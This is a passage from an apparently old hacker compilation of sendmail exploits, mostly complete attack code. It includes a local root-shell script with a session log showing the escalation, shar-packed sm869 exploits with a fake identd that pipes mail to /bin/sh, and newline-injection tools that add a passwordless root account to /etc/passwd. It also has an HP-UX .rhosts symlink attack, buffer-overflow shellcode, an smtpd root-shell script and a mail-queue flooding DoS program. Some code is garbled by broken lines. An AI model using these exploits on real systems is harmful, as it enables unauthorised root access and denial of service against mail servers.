given a buggy sendmail. The fix is to force a sync() after it generates a
coredump.) The remainder of the program was written by myself and a fellow
student, Steven Dake.

We have held off on releasing this script until we were able to notify the
people responsible for system security at NAU. Locals subscribing to this
digest beware; sendmail on our machines has been patched! :-) */

Script started on Thu Mar 24 00:54:54 1994

[pine] [1] date

Thu Mar 24 00:54:57 MST 1994

[pine] [2] whoami

jwa

[pine] [3] id

uid=4473(jwa) gid=400(student)

[pine] [4] ls -l sendbug.sh

-rwx------   1 jwa      student     4893 Mar 24 00:46 sendbug.sh*

[pine] [5] sendbug.sh

Creating setid0 ...

Creating calc...

Scanning core image for /nau/local/lib/mail/sendmail.cf...

Creating alias.sh ...

Creating fake alias file...

Faking alias pointer in new config file...

Creating the sendmail script...

Executing /usr/lib/sendmail -

d4294935548.47,4294935549.116,4294935550.109,4294935551.112,4294935552.47,429493
5553.115,429

4935554.109,4294935555.46,4294935556.9

Version 8.6.4

220-pine.cse.nau.edu Sendmail 8.6.4/WHOOP-v1.0 ready at Thu, 24 Mar 1994

00:55:21 -0700

220 ESMTP spoken here

250 pine.cse.nau.edu Hello jwa@localhost, pleased to meet you

250 ... Sender ok

250 ... Recipient ok

354 Enter mail, end with "." on a line by itself

250 AAA01803 Message accepted for delivery

503 Need MAIL before RCPT

503 Need MAIL command

500 Command unrecognized

500 Command unrecognized

221 pine.cse.nau.edu closing connection

setid0 is a suid shell.  executing...

executing /bin/csh...

pine# whoami

root

pine# id

uid=0(root) gid=0(root)

pine# exit

pine# end of script.

. and here's the program.

#!/bin/sh

# exploit new sendmail bug to give us a root shell

# 24 mar 94  jwa/scd @nau.edu

# "short version"

# tested on sunos 5.2/sendmail 8.6.4

# location of sendmail

SENDMAIL=/usr/lib/sendmail

# location of original sendmail.cf file

CONFIG=/nau/local/lib/mail/sendmail.cf

#CONFIG=`strings $SENDMAIL | grep sendmail.cf`

# program to execute as root

SHELL=/bin/csh

TEMPDIR=/tmp/sendbug-tmp.$$

mkdir $TEMPDIR

chmod 700 $TEMPDIR

cd $TEMPDIR

cp $SENDMAIL sm

chmod 700 sm

echo "Creating setid0 ..."

cat > setid.c << _EOF_

/* set uid to zero, thus escaping the annoying csh and solaris sh

 * problem..

 *

 * if (getuid() != geteuid()) {

 *  printf("permission denied, you root-hacker you.\n");

 *  exit(1);

 * }

 *

 * .. must be run euid 0, obviously.  with no args it runs /bin/sh,

 * otherwise it runs the 1st arg.

 */

#include <stdio.h>

main(argc, argv)

int argc;

char *argv[];

 int uid;

 setuid(0);

 setgid(0);

 seteuid(0);  /* probabally redundant. */

 setegid(0);

 uid = getuid();

 if (uid != 0) {

  printf("setuid(0); failed!  aborting..\n");

  exit(1);

 }

 if (argc !=2) {

  printf("executing /bin/sh...\n");

  system("/bin/sh");

 }

  else

 {

  printf("executing %s...\n", argv[1]);

  system(argv[1]);

 }

_EOF_

cc -o setid0 setid.c

echo "Creating calc..."

cat > calc.c << _EOF_

/*

 * Determines offset in sendmail of

 * sendmail.cf file location.

 * author: timothy newsham

 */

#include <fcntl.h>

gencore()

  int pid;

  int fd[2];

  if(pipe(fd) < 0) {

    perror("pipe");

    exit(1);

    return(0);

  }

  pid = fork();

  if(!pid) {

    int f = open("./out", O_RDWR|O_CREAT, 0666);

    dup2(f, 1); dup2(fd[0], 0);

    close(f); close(fd[1]); close(fd[0]);

    execl("./sm","sm","-d0-9.90","-oQ.","-bs", 0);

    perror("exec");

    exit(0);

  } else {

    sleep(2);

    kill(pid, 11);

  }

  close(fd[0]);

  close(fd[1]);

main(argc,argv)

char **argv;

int argc;

  unsigned int ConfFile,tTdvect,off;

  gencore();

  sync();   /* grr. */

  tTdvect = find("ZZZZZZZZ", "core");

  ConfFile = find(argv[1], "core");

  if(!tTdvect || !ConfFile) {

   return(1);

  }

  off = ConfFile - tTdvect;



printf("-d%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.0\n",  
off, '/', off+1, 't', off+2, 'm', off+3, 'p', off+4, '/', off+5, 's', \

  off+6, 'm', off+7, '.', off+8, 'c', off+9, 'f', off+10);

int find(pattern, file)

char *pattern,*file;

  int fd;

  int i, addr;

  char c;

  fd = open(file, 0);

  i = 0;

  addr = 0;

  while(read(fd, &c, 1) == 1) {

    if(pattern[i] == c)

      i++;

    else

      i=0;

    if(pattern[i] == '\0') {

      addr -= strlen(pattern);

      return(addr);

    }

    addr++;

  }

  return(0);

_EOF_

cc calc.c -o calc

echo "Scanning core image for $CONFIG..."

DEBUGFLAGS=`calc $CONFIG`

echo "Creating alias.sh ..."

echo "#!/bin/sh

# this program will be executed when mail is sent to the fake alias.

# since solaris sh and csh and tcsh refuse to run when euid != realuid,

# we instead run the program we compiled above.

/bin/chmod 6777 $TEMPDIR/setid0

/bin/chown root $TEMPDIR/setid0

/bin/sync

" > alias.sh

chmod 755 alias.sh

echo "Creating fake alias file..."

echo "yash: |$TEMPDIR/alias.sh" > aliases

echo "Faking alias pointer in new config file..."

egrep -v '(OA|DZ|Ou|Og)' $CONFIG > /tmp/sm.cf

echo "

# hacks follow

OA/$TEMPDIR/aliases                     # our fake alias file

Ou0                                     # user ID to run as

Og0                                     # group ID to run as

DZWHOOP-v1.0" >> /tmp/sm.cf

echo "Creating the sendmail script..."

cat > sendmail.script << _EOF_

helo

mail from: <nobody>

rcpt to: <yash>

data

yet another sendmail hole?  suid whoop?

\.                                      # oops.. delete \ prior to execution

quit

_EOF_

echo "Executing $SENDMAIL $DEBUGFLAGS -bs..."

$SENDMAIL $DEBUGFLAGS -bs < sendmail.script

# give it time to execute.

sleep 4

# cleanup in 5 seconds

(sleep 5; rm -rf $TEMPDIR ; rm /tmp/sm.cf) &

if [ -u setid0 ]

then

 echo "setid0 is a suid shell.  executing..."

 cd /

 $TEMPDIR/setid0 /bin/csh

 echo "end of script."

 exit 0

else

 echo "setid0 is not suid; script failed."

 echo "apparently, you don't have the bug.  celebrate :-)"

 exit 1

fi

--------------------------------- CuT HeRe --------------------------------

-oE/filename bounce = 8.6.7 =

Version affected: 8.6.7

A bug in Sendmail 8.6.7 allows anyone to read any file, including the
shadowed password file:

/usr/lib/sendmail -oE/etc/shadow bounce
From: your_username

8.6.9 = 8.6.9 or earlier =

Mail any file to yourself.

------8<-------------------Cut Here--------------------8<-------------------

# This is a shell archive.  Save it in a file, remove anything before

# this line, and then unpack it by entering "sh file".  Note, it may

# create directories; files and directories will be owned by you and

# have default permissions.

#

# This archive contains:

#

#       description

#       sm869.local

#       sm869.remote

#

echo x - description

sed 's/^X//' >description << 'END-of-description'

X

XProgram: sm869.remote

X

Xyou can:

X

X   run the body of the mail through a shell if

X   sendmail is allowed to run a shell.

X

X   write the whole message to a file.

X

X   have it send back a file to an account you specify.

X

XThe last option is supposed to remove the file after sending

Xit but I found that it hasn't in my tests.  Why?  Well

Xit has multiple recipients, one of the recipients is a

Xrecipient that will never go through.  So the data file

Xgets kept around until it gives up on that host.  This

Xcan be several days.

X

XProblems:

X

X  The action you specify will happen every 30minutes (the

X  queue time, may be different) until it gives up sending

X  to the unreachable host.  (Actually this may be false.

X  I haven't left it around long enough to see if this happens.

X  Perhaps sendmail is smart enough to remove the other recipients

X  that did get delievered from the queue file).

X

X  If you send a file back to yourself it may get removed

X  several days later.  If you get the password file or

X  some other critical file you had better be ready to clean

X  up.

X

X  Lots of logs.  Its fairly obvious from the log files that

X  some hokey pokey is going on.  If you're sending a file

X  back to yourself then you're pointing a finger at one

X  of your accounts

X

XYou have to go into the program to change the options you

Xwant.  The code is fairly well commented so this shouldn't

Xbe any problem.

X

XProgram: sm869.local

X

XSame thing as above really except it works even if sendmail

Xdoesnt check identd and you dont have to specify an unreachable

Xhost.  The file goes straight to the queue.

X

END-of-description

echo x - sm869.local

sed 's/^X//' >sm869.local << 'END-of-sm869.local'

X#!/bin/sh

X#

X# Exploit hole in sendmail 8.6.9 and earlier.

X#

X

X# Either write a file or run a program.

X#ACTION="|/tmp/runme"

XACTION="/tmp/writeme"

X

X# Data file to read from and then remove

XDATAFILE="/tmp/abc"

X#DATAFILE=""

X

X# Who to run as

XRUNAS="bin"

X

X# Who to send mail to

XWHOAMI=`whoami`

XSENDTO=$WHOAMI

X#SENDTO="someone-else"

X

X# Build up arg and send it off

Xif [ -n "$DATAFILE" ] ; then

XARG="$WHOAMI

XD$DATAFILE

XC:$RUNAS

XR\"$ACTION\""

Xelse

XARG="$WHOAMI

XC:$RUNAS

XR\"$ACTION\""

Xfi

Xsendmail -odq -F"$ARG" $SENDTO << _END_

XThis is appearing in the mailbox

Xand also being piped to the program or

Xwritten to the file, UNLESS you specify

Xa datafile above.  In that case the datafile

Xwill be written and erased and this text will

Xbe left (not deleted) in the queue directory.

X_END_

X

END-of-sm869.local

echo x - sm869.remote

sed 's/^X//' >sm869.remote << 'END-of-sm869.remote'

X#!/bin/sh

X#

X# exploit for sm869 or worse

X# identd must not be enabled (port 113 must be free)

X

X# this must be a host that mail can go to (MX not pointing elsewhere)

X# that we cant reach right now (ie. host doesnt exist anymore)

XUNREACHABLE="goofy.uhcc.hawaii.edu"

X

X# Commands to run on remote host

XCOMMANDS="touch /tmp/gotcha"

X

X# what host to run it on

XTARGET="localhost"

X

X# work in a temp dir

XTD=/tmp/.Xwork.$$

Xmkdir $TD

Xcd $TD

X

Xcat > a.c <<_END_

X#include <sys/types.h>

X#include <sys/socket.h>

X#include <netinet/in.h>

X

X/* run body of mail through shell run as daemon */

X#define REPLY "USERID : UNIX : a\nC:daemon\nR\"|sed

'1,/^$/d'|/bin/sh\"\nHXxx:

"

X

X#ifdef other_possibilities

X/* write to a file as daemon */

X#define REPLY "USERID : UNIX : a\nC:daemon\nR/tmp/writeme\nHXxx: "

X/* send back a file to someone and erase it */

X#define REPLY "USERID : UNIX :

a\nD/tmp/sendtome\nRmy@address.here\nHXxx: "

X#endif

X

Xreadline(fd, buf, len)

Xchar *buf;

X{

X    int i = 0;

X

X    while(i < len && read(fd, &buf[i], 1) == 1 && buf[i]) {

X       if(buf[i] == '\r' || buf[i] == '\n')

X           break;

X       i++;

X    }

X    buf[i] = '\0';

X}

X

Xdie(str)

Xchar *str;

X{

X    perror(str); exit(1);

X}

X

Xmain()

X{

X    int s, s2, adlen;

X    struct sockaddr_in ad;

X    char buf[60];

X

X    ad.sin_family = AF_INET;

X    ad.sin_port = htons(113);

X    ad.sin_addr.s_addr = INADDR_ANY;

X    if((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) die("socket");

X    if(bind(s, (struct sockaddr *)&ad, sizeof(ad)) == -1) die("bind");

X    if(listen(s, 1) == -1) die("listen");

X    adlen = sizeof(ad);

X    s2 = accept(s, (struct sockaddr *)&ad, &adlen);

X    if(s2 == -1) die("accept");

X    printf("Connection from %s port %d\n",

X        inet_ntoa(ad.sin_addr), ntohs(ad.sin_port));

X    readline(s2, buf, 50);

X    sprintf(buf + strlen(buf), " : %s\n", REPLY);

X    write(s2, buf, strlen(buf));

X}

X_END_

X

X# compile program

Xecho "compiling"

Xcc a.c -o ident

Xecho "running fake ident"

X./ident &

X

X# send to reomte

Xecho "talking to remote"

X(

X  sleep 1; echo "helo"

X  sleep 1; echo "mail from: "

X  sleep 1; echo "rcpt to: "

X  sleep 1; echo "data"

X  echo "$COMMANDS"

X  echo "."

X  sleep 1; echo "quit"

X  sleep 5

X) | telnet $TARGET 25

X

X# cleanup

Xcd /

Xrm -rf $TD

Xecho "done."

X

END-of-sm869.remote

exit

.................................. CuT HeRe ..................................

8.6.9 newlines = 8.6.9 =

When a message is queued for delivery by sendmail, a pair of files are
written to the spool directory (/var/spool/mqueue on many systems). One of
these files (qf<something>) contains information related to the processing
of the message (headers, sender, recipient, etc.). Taking versions of
sendmail prior to 8.6.10 as an example, one of the pieces of information
maintained in this file is the name of the controlling user if mail is
being delivered to a script (or file). By feeding sendmail a recipient
address that contains newlines, it is possible to add lines to the queue
file which specify a controlling user and an executable to run with that
users access level. The 8.6.10 patch removes this hole, by stripping
newlines from the recipient address before writing the queue file.

EXPLOIT:

/* smh.c - Michael R. Widner - atreus (2/27/95)

 *

 * a quick hack to abuse sendmail 8.6.9 or whatever else is subject to this

 * hole.  It's really just a matter of passing newlines in arguments to

 * sendmail and getting the stuff into the queue files.  If we run this

 * locally with -odq we are guaranteed that it will be queue, rather than

 * processed immediately.  Wait for the queue to get processed automatically

 * or just run sendmail -q if you're impatient.

 * usage: smh [ username [/path/to/sendmail]]

 * It's worth noting that this is generally only good for getting bin.

 * sendmail still wants to process the sendmail.cf file, which contains

 * Ou1 and Og1 most of the time, limiting you to bin access.  Is there

 * a way around this?

 * cc -o smh smh.c should do the trick.  This just creates a bin owned

 * mode 6777 copy of /bin/sh in /tmp called /tmp/newsh.  Note that on some

 * systems this is pretty much worthless, but you're smart enough to know

 * which systems those are.  Aren't you?

 */

#include <sys/types.h>

#include <unistd.h>

#include <stdlib.h>

main(argc, argv)

int argc;

char **argv;

{

        execlp(argv[2] ? argv[2] : "sendmail","sendmail","-odq","-p",

        "ascii\nCroot\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nMlocal,

P=/bin/sh, F=lsDFMeu,

A=sh -c $u\nR<\"|/bin/cp /bin/sh /tmp/newsh\">\nR<\"|/bin/chmod 6777

/tmp/newsh\">\n$rascii ",

        argv[1] ? argv[1] : "atreus",0);

}

................................ CuT HeRe ..................................

8.6.10 ident/newlines = 8.6.10 =

This is a sendmail 8.6.10 attack based on the problems that sendmail 8.6.10
inherited from sendmail 8.6.9 .... Look at comments in the source. Two
exploits follow:

/* 8.6.10 sendmail attacker

 *

 * gcc ident.c -o ident

 * add the following line to your /etc/inetd.conf:

 * ident  stream tcp  nowait  root  /tmp/ident  in.identd

 * then kill -HUP inetd

 *

 * Not for not public use or disclosure.

 *

 * This is a sendmail 8.6.10 attack based on the problems that

 * sendmail 8.6.10 inherited from sendmail 8.6.9 - blindly accepting

 * information given to it by identd, which included bogus characters

 * and newlines that it later appended to the queue file.  Sendmail 8.6.10

 * supposedly "strips" newlines before they are written, however, it

 * converts them to spaces, and the following code demonstrates that

 * quick work-around patches are never ever stable...

 *

 * NOTES:  This hack only works when sendmail queues up the message for

 * later delivery.  This depends on the configuration of sendmail.cf and

 * on the machine loading.  If you can do something to drag the machine to

 * its knees, then fire off this attack, you stand a much better chance of

 * success.

 *

 * NOTES: If sendmail.cf is configured with Og1 and Ou1 lines (setting the

 * default user to bin.bin), this exploit will not work.

 *

 * Also, since this only works when sendmail queues up the message for

 * later delivery, the time of execution is dependant on how sendmail

 * has been configured in sendmail.cf and machine load.  Heavily loaded

 * machines (or machines that have been intentionally flooded) have a

 * greater possibility of this exploit working.

 *

 */

#include <sys/types.h>

#include <sys/fcntl.h>

#include <sys/time.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

/* TIMEOUT is the number of seconds to wait before closing the connection if

 * the client doesn't provide the port pairs.

 */

#define TIMEOUT 120

/* PROCINFO_BUFFER_SIZE must be bigger than 80 */

#define OUTPUT_BUFFER_SIZE 2048

#define SOCKET_BUFFER_SIZE 100

unsigned short lport = 0, rport = 0;

void

main ()

{

    unsigned long here, there;

    struct fd_set fdset;

    struct timeval timeout;

    char buffer[OUTPUT_BUFFER_SIZE];

    char inbuffer[SOCKET_BUFFER_SIZE];

    int len;

    int fd;

    FD_ZERO (&fdset);

    FD_SET (0, &fdset);

    timeout.tv_sec = TIMEOUT;

    timeout.tv_usec = 0;

    select (1, &fdset, NULL, NULL, &timeout);

    len = read (0, inbuffer , SOCKET_BUFFER_SIZE - 1 );

    if (len <= 0)

    exit (0);

    FD_SET (0, &fdset);

    sprintf (buffer, "%s : USERID : UNIX : %s\r\n", inbuffer,

    "Croot\r\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\r\nMlocal,

    P=/bin/sh, F=lsDFMeu, A=sh -c $u\r\nR<\"|/bin/echo toor::0:1:toor:/:/bin/csh

 >> /etc/passwd\">\r\nR<\"|/usr/bin/chmod 4755 /usr/bin/time\");

    write (1, buffer, strlen (buffer));

    exit (0);

}

................................ CuT HeRe ..................................

Second Exploit follows:

/* 8.6.10 sendmail attacker

 *

 * gcc ident.c -o ident

 * add the following line to your /etc/inetd.conf:

 * ident  stream tcp  nowait  root  /tmp/ident  in.identd

 * then kill -HUP inetd

 *

 * Not for not public use or disclosure.

 *

 * This is a sendmail 8.6.10 attack based on the problems that

 * sendmail 8.6.10 inherited from sendmail 8.6.9 - blindly accepting

 * information given to it by identd, which included bogus characters

 * and newlines that it later appended to the queue file.  Sendmail 8.6.10

 * supposedly "strips" newlines before they are written, however, it

 * converts them to spaces, and the following code demonstrates that

 * quick work-around patches are never ever stable...

 *

 * NOTES: If sendmail.cf is configured with Og1 and Ou1 lines (setting the

 * default user to bin.bin), this exploit will not work.

 *

 * Also, since this only works when sendmail queues up the message for

 * lar delivery, the time of execution is dependant on how sendmail

 * has been configured in sendmail.cf and machine load.  Heavily loaded

 * machines (or machines that have been intentionally flooded) have a

 * greater possibility of this exploit working.

 *

 */

#include <sys/types.h>

#include <sys/fcntl.h>

#include <sys/time.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

/* TIMEOUT is the number of seconds to wait before closing the connection if

 * the client doesn't provide the port pairs.

 */

#define TIMEOUT 120

/* PROCINFO_BUFFER_SIZE must be bigger than 80 */

#define OUTPUT_BUFFER_SIZE 2048

#define SOCKET_BUFFER_SIZE 100

unsigned short lport = 0, rport = 0;

void

main ()

{

    unsigned long here, there;

    struct fd_set fdset;

    struct timeval timeout;

    char buffer[OUTPUT_BUFFER_SIZE];

    char inbuffer[SOCKET_BUFFER_SIZE];

    int len;

    int fd;

    FD_ZERO (&fdset);

    FD_SET (0, &fdset);

    timeout.tv_sec = TIMEOUT;

    timeout.tv_usec = 0;

    select (1, &fdset, NULL, NULL, &timeout);

    len = read (0, inbuffer , SOCKET_BUFFER_SIZE - 1 );

    if (len <= 0)

    exit (0);

    FD_SET (0, &fdset);

    sprintf (buffer, "%s : USERID : UNIX : %s\r\n", inbuffer,

    "Croot\t\t\t\t\t\t\tMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\t\t\t\t\t\t

    Mlocal,

    P=/bin/sh, F=lsDFMeu, A=sh -c $u\t\t\t\t\t\tR<\"|/bin/echo toor::0:1:toor:/:

/bin/csh >> /etc/passwd\">\t\t\tR<\"|/usr/bin/chmod 4755 /usr/bin/time\">\r\n

    $rascii done");

    write (1, buffer, strlen (buffer));

    exit (0);

}



................................ CuT HeRe ..................................

HP-UX = HP-UX 9.x =

#!/bin/sh

# This works on virgin HPUX 9.x sendmail.cf

# The link can be set to any file on the system, it will append the contents

# of the email to the linked file (/etc/passwd, /etc/hosts.equiv, /.rhosts)..

# - sirsyko

r00tDIR=`grep root /etc/passwd |cut -f6 -d:`

RunDMC=`hostname`

if [ -f /tmp/dead.letter ]; then rm /tmp/dead.letter

fi

if [ -f /tmp/dead.letter ]; then

 echo "Sorry, aint gonna work"

 exit

fi

ln -s  ${r00tDIR}/.rhosts /tmp/dead.letter

(

sleep 1

echo "helo"

echo "mail from: noone"

echo "rcpt to: noone@bounce"

echo "data"

echo "+ +"

echo "."

sleep 3

echo "quit"

) | telnet ${RunDMC} 25

sleep 5

remsh ${RunDMC} -l root

............... CuT HeRe ...............

What the r00t guys exploit does is just this:

   * creates a symbolic link to the target file (in this case '.rhosts' in
     root's directory) called '/tmp/dead.letter'.
   * Then sends a message (containing lines you want to append) to a
     non-existent user.
   * Sendmail is configured (as default) to append lines of non-recipient
     messages to '/tmp/dead.letter' and does it with root privileges. If
     '/tmp/dead.letter' is a symbolic link Sendmail will follow it and will
     overwrite the pre-existent file.
   * Probably if Sendmail configuration has been changed to make it behave
     in a different way, looking at the cf file could lead you to exploit
     the bug the same.

8.7.5 gecos = 8.X.X <8.8.0 = TeSTed oN 8.6.12

This bug was pointed out by Mudge of L0pht on Bugtraq on Sept 1996,
excerpts follow:

A buffer overflow condition exists that allows a user to overwrite the
information in a saved stack frame. When the function returns, the saved
frame is popped off of the stack and user code can be executed. If a user
is able to alter his/her gecos field then that user can exploit a coding
flaw in sendmail to elevate their effective UID to 0.

The actual problem in the code is quite apparent.

     Inside recipient.c we find the following:

       char nbuf[MAXNAME + 1];

       ...

       buildfname(pw->pw_gecos, pw->pw_name, nbuf);

The problem is that nbuf[MAXNAME + 1] is a fixed length buffer and as we
will soon see, buildfname() does not honor this. [ ..... ]

This particular problem has been fixed in Sendmail 8.8 beta.

Here we have an example of exploit:

------------------------------ Cut Here ------------------------------------

/*                               Hi !                                       */

/* This is exploit for sendmail bug (version 8.6.12 for FreeBSD 2.1.0).     */

/* If you have any problems with it, send letter to me.                     */

/*                             Have fun !                                   */

/* -----------------   Dedicated to my beautiful lady   ------------------  */

/* Leshka Zakharoff, 1996. E-mail: leshka@chci.chuvashia.su                 */

#include <stdio.h>

main()

{

void make_files();

     make_files();

     system("EDITOR=./hack;export EDITOR;chmod +x hack;chfn;/usr/sbin/sendmail;e

cho See result in /tmp");

}

void make_files()

 {

  int i,j;

  FILE *f;

  char nop_string[200];

  char code_string[]=

                      {

                         "\xeb\x50"                         /* jmp

cont */

/* geteip: */            "\x5d"                             /* popl

%ebp */

                         "\x55"                             /* pushl

%ebp */

                         "\xff\x8d\xc3\xff\xff\xff"         /* decl

0xffffffc3(%ebp) */

                         "\xff\x8d\xd7\xff\xff\xff"         /* decl

0xffffffd7(%ebp) */

                         "\xc3"                             /* ret */

/* 0xffffffb4(%ebp): */ "cp /bin/sh /tmp"

/* 0xffffffc3(%ebp): */ "\x3c"

                        "chmod a=rsx /tmp/sh"

/* 0xffffffd7(%ebp): */ "\x01"

                        "-leshka-leshka-leshka-leshka-"    /* reserved */

/* cont:  */            "\xc7\xc4\x70\xcf\xbf\xef"         /* movl

$0xefbfcf70,%esp */

                        "\xe8\xa5\xff\xff\xff"             /* call

geteip */

                        "\x81\xc5\xb4\xff\xff\xff"         /* addl

$0xb4ffffff,%ebp */

                        "\x55"                             /* pushl  %ebp */

                        "\x55"                             /* pushl  %ebp */

                        "\x68\xd0\x77\x04\x08"             /* pushl

$0x80477d0

 */

                        "\xc3"                             /* ret */

                        "-leshka-leshka-leshka-leshka-"    /* reserved */

                        "\xa0\xcf\xbf\xef"

                     };

  j=269-sizeof(code_string);

  for(i=0;i\"$1\"\n");

  fprintf(f,"touch -t 2510711313 \"$1\"\n");

  fclose(f);

}

................................ Cut Here ................................

mime7to8() = 8.8.0 =

An attacker can simply create a very large message in which each line ends
with "=" and use it to overwrite the sendmail process's stack. Here the bug
is only described... why doesn't someone write an exploit?!

There is a serious bug in the mime7to8() function of sendmail 8.8.0 which
allows anyone who can send you mail to execute arbitrary code as root on
your machine. I think mime7to8() only gets invoked if you set the
undocumented "9" mailer flag. However, this flag is set by default in the
cf/mailer/local.m4 file that ships with sendmail 8.8.0. Thus, if you are
using an old V6 format configuration file from sendmail 8.7, you are
probably safe, but if you generated a new V7 configuration file, you are
probably vulnerable to this bug.

Now here are the technical details:

The inner loop of mime7to8() looks like this:

        u_char *obp;

        char buf[MAXLINE];

        u_char obuf[MAXLINE];

        ....

                /* quoted-printable */

                obp = obuf;

                while (fgets(buf, sizeof buf, e->e_dfp) != NULL)

                {

                        if (mime_fromqp((u_char *) buf, &obp, 0, MAXLINE) == 0)

                                continue;

                        putline((char *) obuf, mci);

                        obp = obuf;

                }

When mime_fromqp() encounters a line that ends "=\n", it chops those two
characters off and returns 0 to indicate a continuation line. This causes
the while loop to continue, reading another input line and appending its
contents to obuf. However, when the loop continues without resetting obp to
obuf, there are fewer than MAXLINE characters left in the output buffer.
This means an attacker can simply create a very large message in which each
line ends with "=". Eventually obp will move beyond the end of obuf and
start writing almost arbitrary data to the sendmail process's stack (as
long as no bytes are 0).

smtpd = 8.7-8.8.2 =

Read the exploit and don't bother:

------------------------------ Cut Here --------------------------------

#/bin/sh

#

#

#                                   Hi !

#                This is exploit for sendmail smtpd bug

#    (ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms).

#         This shell script does a root shell in /tmp directory.

#          If you have any problems with it, drop me a letter.

#                                Have fun !

#

#

#                           ----------------------

#               ---------------------------------------------

#    -----------------   Dedicated to my beautiful lady   ------------------

#               ---------------------------------------------

#                           ----------------------

#

#          Leshka Zakharoff, 1996. E-mail: leshka@leshka.chuvashia.su

#

#

#

echo   'main()                                                '>>leshka.c

echo   '{                                                     '>>leshka.c

echo   '  execl("/usr/sbin/sendmail","/tmp/smtpd",0);         '>>leshka.c

echo   '}                                                     '>>leshka.c

#

#

echo   'main()                                                '>>smtpd.c

echo   '{                                                     '>>smtpd.c

echo   '  setuid(0); setgid(0);                               '>>smtpd.c

echo   '  system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");      '>>smtpd.c

echo   '}                                                     '>>smtpd.c

#

#

cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c

./leshka

kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"

|head -n 1`

rm leshka.c leshka smtpd.c /tmp/smtpd

/tmp/sh

________________________________________________________________________


A Local DoS(29) in All Sendmail Versions Up to 8.9.3 (taken from Packet Storm)
****************************************************
Date: Sat, 3 Apr 1999 00:42:56 +0200
From: "[iso-8859-2] Micha3 Szyma¤ski" <siwa9@BOX43.GNET.PL>
To: BUGTRAQ@netspace.org
Subject: Re: Possible local DoS in sendmail

Hi folks,

This local queue filling DoS attack in sendmail is quite dangerous. But good
security policy (like mine) will prevent attackers from doing such things.
Control files (in /var/spool/mqueue) created by 'sendmail -t' are owned by
root.attacker's_group; turn on quotas for group 'attacker's_group' on the
file system containing /var/spool/mqueue directory, and your host will be not
vulnerable; but you _have to_ configure your sendmail as _nosuid_ daemon;

Much more dangerous are remote queue filling DoS attacks. If you have enabled
relaying, you can use shown below smdos.c proggie; it will quite fast fullfill
partition on disk where /var/spool/mqueue resides. you should notice increased
LA during attack; in contrast to local DoS attacks, control files created by
smdos.c are owned by root.root, so ... it's much more difficult to prevent
offenders from doing it;

don't forget to change BSIZE definition (in smdos.c) to appropriate victim's
host message size limitation (MaxMessageSize option); you can also increase
MAXCONN definition.

smdos.c:

--- CUT HERE ---
/*
By Michal Szymanski <siwa9@box43.gnet.pl>

Sendmail DoS (up to 8.9.3);

Sat Apr  3 00:12:31 CEST 1999
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>

#undef VERBOSE          /* define it, if MORECONN is undefined */

#define MORECONN

// #define RCPT_TO      "foo@ftp.onet.pl"

#define RCPT_TO "foo@10.255.255.255"

#ifdef MORECONN
#define MAXCONN 5
#endif

#define BSIZE   1048576         /* df* control file size */
#define PORT    25

char buffer[BSIZE];
int sockfd,x,loop,chpid;

void usage(char *fname) {
fprintf(stderr,"Usage: %s <victim_host>\n",fname);
exit(1);
}

void say(char *what) {

if (write(sockfd,what,strlen(what))<0) {
perror("write()");
exit(errno);
}

#ifdef VERBOSE
fprintf(stderr,"<%s",what);
#endif

bzero(buffer,BSIZE);

usleep(1000);

if (read(sockfd,buffer,BSIZE)<0) {
perror("read()");
exit(errno);
}

#ifdef VERBOSE
fprintf(stderr,buffer);
#endif
}
                        

int main(int argc,char *argv[]) {
struct sockaddr_in serv_addr;
struct hostent *host;
char *hostname,hostaddr[20];

fprintf(stderr,"Sendmail DoS (up to 8.9.3) by siwa9 [siwa9@box43.gnet.pl]\n");

if (argc<2) usage(argv[0]);

#ifdef VERBOSE
fprintf(stderr,">Preparing address. \n");
#endif

hostname=argv[1];

serv_addr.sin_port=htons(PORT);
serv_addr.sin_family=AF_INET;

if ((serv_addr.sin_addr.s_addr=inet_addr(hostname))==-1) {

#ifdef VERBOSE
fprintf(stderr,">Getting info from DNS.\n");
#endif

if ((host=gethostbyname(hostname))==NULL) {
herror("gethostbyname()");
exit(h_errno);
}

serv_addr.sin_family=host->h_addrtype;

bcopy(host->h_addr,(char *)&serv_addr.sin_addr,host->h_length);

#ifdef VERBOSE
fprintf(stderr,">Official name of host: %s\n",host->h_name);
#endif

hostname=host->h_name;

sprintf(hostaddr,"%d.%d.%d.%d",(unsigned char)host->h_addr[0],
                               (unsigned char)host->h_addr[1],
                               (unsigned char)host->h_addr[2],
                               (unsigned char)host->h_addr[3]);

}
else sprintf(hostaddr,"%s",hostname);

#ifdef MORECONN
for (;loop<MAXCONN;loop++) if (!(chpid=fork())) {
#endif

for(;;) {

bzero(&(serv_addr.sin_zero),8);

if ((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1) {
perror("socket()");
exit(errno);
}

if ((connect(sockfd,(struct sockaddr *)&serv_addr,sizeof(serv_addr))) == -1) {
perror("connect()");
exit(errno);
}

#ifdef VERBOSE
fprintf(stderr,">Connected to [%s:%d].\n",hostname,PORT);
#endif

bzero(buffer,BSIZE);read(sockfd,buffer,BSIZE);
#ifdef VERBOSE
fprintf(stderr,buffer);
#else
fprintf(stderr,".");
#endif

say("helo foo\n");
say("mail from:root@localhost\n");
say("rcpt to:" RCPT_TO "\n");
say("data\n");

for (x=0;x<=BSIZE;x++) buffer[x]='X';write(sockfd,buffer,BSIZE);

say("\n.\n");
sleep(1);
say("quit\n");

shutdown(sockfd,2);

close(sockfd);

#ifdef VERBOSE
fprintf(stderr,">Connection closed succesfully.\n");
#endif
}
#ifdef MORECONN
}
waitpid(chpid,NULL,0);
#endif
return 0;
}
--- CUT HERE ---

Bug in Sendmail's HELO Command (taken from rootshell.com)
******************************
